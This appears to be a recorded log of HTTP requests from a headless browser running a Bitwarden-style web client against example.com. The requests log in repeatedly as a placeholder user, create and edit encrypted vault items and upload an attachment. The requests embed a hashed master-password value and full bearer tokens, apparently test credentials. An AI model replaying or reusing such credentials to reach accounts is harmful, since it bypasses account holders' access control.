{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=68bf4d9c-780c-4192-bd8a-41a272c14413&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=e934ef7b-6b36-4421-ac6c-2bce46150042&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/api/ciphers", "headers": ["Host: example.com", "Content-Length: 856", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA3NTEsImV4cCI6MTc5NDI4Nzk1MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiJlOTM0ZWY3Yi02YjM2LTQ0MjEtYWM2Yy0yYmNlNDYxNTAwNDIiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.PX-v7IJXm_Y212uDWQ0gBOj1yVAqhDPEZxo5SOYW5OffP1wR0tdAKTsavvrnv0NLTWfEwBPdwSmKuGIAv-HtuJutDpwm4f4GtneXms-f2Ax1UEAhc3bqhHHue9teXSv7YC8p1Ik50qgQ-MtyOoXE1OStlfv7IF33pawcZOdgMPoKTnW5f_90ydWDNuvhSrBj__UdHyNyPDBdsVhi4b9z9gsJ7J893itwXklKwjeaJbO8pErds-GJsiqfyayv0QBUl4MiQfuUyuTiwLwFY9_zQzzU7rC7t2r0LuLx3c0HVInRPmOAOieq5dWZzf5ApM9pQh5dRNPQIUJRqDeJqWbSrQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"type\":2,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"549cd3b87c242101679813f95c7c6cac\",\"name\":\"2.b7CFv95ZokmibuvTdEUD9Q==|frGi3t31pXlY6YbH85tUAy0SqRlks5WKZ821B84RaCM=|gCtMzl53++qtpO7m3Z3igKoKCHO1a2zO/SUny62+Yhs=\",\"notes\":\"2.Syz1oYYLl9iswsrX10u0eg==|38mV7HKkWd949xfGD7GOm3A+pLBMoLHrJt6tPU+GrNZy47FfJNPuNw0jTAy9ZvqIPuh+tfvRQxqgW8MDtHXJbhpNTwkmztIJ1LUdQDU+VbRWjiRrhFq2VC5YkdIBa9LrwQ6lhcjx/PsDTIUhZ0Q2sHF9gCJQ66HBjr/vAQtbvRk=|mP2uyOzS8lTIep1XH5lAT6IZy1N5Pks1Cnbr9XqcgGM=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:19:27.800Z\",\"reprompt\":0,\"key\":\"2.Gtpoy7RVxVNnzrkXqOzkjg==|ZEfdTXItnem5D7Eh0PnTPgwZIPjjNTv26W+fU3SYNN5mDAIlKIDP9Gt7SUmqI/R1xLyUrH5Vh/tg2BxN4Z6XivC6yCfe+guvJv2UTk0KgXA=|fTag4snzPkDrGNJ6q7lbz/HehqyuKLoG01PrAxNd6Pw=\",\"secureNote\":{\"response\":null,\"type\":0},\"fields\":[],\"attachments\":{},\"attachments2\":{}}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=96fc2d4e-83f6-4c41-bfd5-c8ec2f555bd4&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=504a6883-9ade-4f08-9a5d-6c17eeb477a0&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=5a99d594-ab10-4499-aa3c-b9317d4e5475&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "PUT", "target": "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d", "headers": ["Host: example.com", "Content-Length: 1486", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA4NTksImV4cCI6MTc5NDI4ODA1OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI1YTk5ZDU5NC1hYjEwLTQ0OTktYWEzYy1iOTMxN2Q0ZTU0NzUiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.rqH6irHL0Vlmd8SZoiSrx5YarTel81c5qR7HTxJvdNP3ebAv_xiyeGpu54FNheacdXjQ8RpkenVd8l52Kp_NSHObcJ5IIaTKCM1OyqYBiG83K6gQOAlGH2DcsXeufXczQbX_-ArXfq02aqfAtQ5aqczcuIDRoK-QApK1_oo2SnRuPBHww-71f3VXMcGWLF0cSXmj0JbJptvvsaGDRv1D5sKnRZAMSO1rU2LTMhvPlwYrw7GWCWMw9WziPdZoyBO24LGKGW8GibQKg31i0cwA38dUTvaQB0xl0BkZyXv5Px1MV0D0i-I9ubIQN3xXucnmosyFnhokxHjki4_bPOS72Q", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"type\":1,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"549cd3b87c242101679813f95c7c6cac\",\"folderId\":\"c237cd82-467a-4c5d-9497-289558b53894\",\"name\":\"2.9X5nSBWyYr6ag9ZkOBfEfg==|wrx0sT53uIr5Imfw1lb6Ob8QSIeIbPuPw/kHTF4NNu6En49/4u1EIhqjc7YD2VGC|r9Ne3ESFr5MTF8+oTRzAEl3Fp7peG9SDcfP9jvuwfIo=\",\"notes\":\"2.mevOP4NbCC+/rFva1e2cEA==|hx8GPMywv9f2kiE5eLCP+o978G/nniIm0KUQMyLdui2T4L4oHKjBOZ/bD5rq+ElcECpyjtcMYocyh1v5pCkZNxyxghbVmUUNzFUSswrUeKyYazRAkneYCuPLK0dBHeZA|5KA7ps39+mzQKsi/o2Gq/cUGdWC9HPQuJlD0CrupHvs=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:18:24.717Z\",\"reprompt\":0,\"key\":\"2.jHRM8r/PSUm/0GCmqPEQfQ==|ci46XxK/yHARbWEVmK5FaWPCrm4+wR+hk7m5InOvEEU9kXo7XC9baVDepWvAWG+iIpki0O1eZlo9RZheVFw5xEY87WJsgP9I33gFCWq/H2w=|mFBRXlb8PzphbeL9J5Zm8maVjF9MqM4luVjMVLehq60=\",\"login\":{\"response\":null,\"uris\":[{\"response\":null,\"match\":null,\"uri\":\"2.TU3eEpiNeHB1wrISERB2PA==|4nHgMJ3od1dIXZvQVsDUHtT3iCIIUwmk7vKU+IBWomPxeKhim8M0Ol/RGym7PkEc|qTcQxkDM4+PH1NEKGOWMB7xxuUnosiabVgcHq8GYusc=\",\"uriChecksum\":\"2.K5cnRfwBqhCBF8B05yMgqw==|s5GzXKhdH26/yPy4UMkjl7w3Fkn8RWcPHYw6wBLC1qWMP8T9/OpTtQQ04+Bovxyc|7FBVRSxu7vsDmhxXISBoVjX6ZkxrhHSYrCtGqURNvP0=\"}],\"username\":\"2./IVE1G1CHvEXfiut/Ooq6Q==|NOEehVWQVC7Bs70T6uYHRQ==|Bewxw1S6naMXkTm37JkdNdIx7VSPfYR8w7tYPakPkbE=\",\"password\":\"2.Upbmr0/OHqQ6dVeOK/ATUw==|pMbpTa2plFb3JyOWd+9IfVfMz4tql3z5um0iZEmEIA8=|ZoZ7QAgf268psKxY0xUE7VaniInDvU2of4k4Qq5QTKQ=\",\"passwordRevisionDate\":null,\"totp\":null},\"fields\":[],\"attachments\":{},\"attachments2\":{}}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=527c89c1-a922-4e00-bf66-96067c0b616a&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d/attachment/v2", "headers": ["Host: example.com", "Content-Length: 407", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA4OTEsImV4cCI6MTc5NDI4ODA5MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI1MjdjODljMS1hOTIyLTRlMDAtYmY2Ni05NjA2N2MwYjYxNmEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.Tj1JgWJJ2jTkRAfUfluTX2ya1IolqIPOQhnaDS4iFOtRBV4Zu2q7X0Fn4_2EzkTs6LtD5aYJyRmGOaU1cswQ3YSsy5Uh901js4OYxTjkfMGHfOcVWDfF57K_EjVJnv42lxiwrvH5Hl0bC4we2P_vZAkaEY_awgOFVEhSgfjWsi-TpaXugS49AbE3vWy2BU1WDbyqp0WdD9hMyWrfs-gJUM9idCTphwi2LNnYXsTmyhnVR-MuDl-yoOrwRSbPYd_nzl3UQvGK2T6xD97769UH0KF4t4bbJDRkXQDzkQBqWPHCh8HsWgtT9WVGwfjIbpHJxJVNF4NpyR7CdweXoFP7DA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"key\":\"2.6+/t1cXLQjL2XWtxlMFWUQ==|S1bEjNovqaa9eXcoDAv8diMkX+csiOa22ZWN1W+qFWZ9Nii2zmgCYYvFkw5aeL0+d7w0f8bZSnEEzkWZFytrsvIMS5qRkbDcvKhFjmoAUY8=|3oJjBLKNdJAeIsrniH0Y2RRmQZQL5wvmQL7+tUZLgRM=\",\"fileName\":\"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJrRS1uUQGA2Xmt6h8DaAIOUH68Yll8=|XLsfNVb3VSNdqrUkPtJDMPxLAevzg4j4RRoSFxeDcbE=\",\"fileSize\":129,\"adminRequest\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:21:20.572Z\"}"}
{"method": "POST", "target": "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d/attachment/ec4c8ed74f6d3c56443a", "headers": ["Host: example.com", "Content-Length: 476", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA4OTEsImV4cCI6MTc5NDI4ODA5MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI1MjdjODljMS1hOTIyLTRlMDAtYmY2Ni05NjA2N2MwYjYxNmEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.Tj1JgWJJ2jTkRAfUfluTX2ya1IolqIPOQhnaDS4iFOtRBV4Zu2q7X0Fn4_2EzkTs6LtD5aYJyRmGOaU1cswQ3YSsy5Uh901js4OYxTjkfMGHfOcVWDfF57K_EjVJnv42lxiwrvH5Hl0bC4we2P_vZAkaEY_awgOFVEhSgfjWsi-TpaXugS49AbE3vWy2BU1WDbyqp0WdD9hMyWrfs-gJUM9idCTphwi2LNnYXsTmyhnVR-MuDl-yoOrwRSbPYd_nzl3UQvGK2T6xD97769UH0KF4t4bbJDRkXQDzkQBqWPHCh8HsWgtT9WVGwfjIbpHJxJVNF4NpyR7CdweXoFP7DA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfDyB7dEAAtvhyCLV", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "------WebKitFormBoundaryfDyB7dEAAtvhyCLV\r\nContent-Disposition: form-data; name=\"data\"; filename=\"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJrRS1uUQGA2Xmt6h8DaAIOUH68Yll8=|XLsfNVb3VSNdqrUkPtJDMPxLAevzg4j4RRoSFxeDcbE=\"\r\nContent-Type: application/octet-stream\r\n\r\nAgi25DaJcG/TpZQDNvwCVsKMfQZe0szpwbq2K2Yvdw+ILI0UzO1tkuw6XGF3oPW2TiI+O9Pq8s9+ffckxzs6v//6Blz+yRFAGffH1BCJuS1/tfUaq4+2BYJUm3+wi5ZLuaHPZ6AUpEOpgmNmziZ6gLPUzE9arx/rfsfRlCRMlMh5\r\n------WebKitFormBoundaryfDyB7dEAAtvhyCLV--\r\n"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=20532cb3-1d4a-461b-b5d7-2b94d6eab5e7&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=6c35bee9-33d5-4f3b-bcc7-6fdc427bbf29&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=eae1b97e-7594-486e-8101-06f7bb5349e5&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=bfc9d96d-a051-4bb0-9c39-dbedbef320c8&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=66dc38d8-6f33-481c-ad24-9c4f1e179a32&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
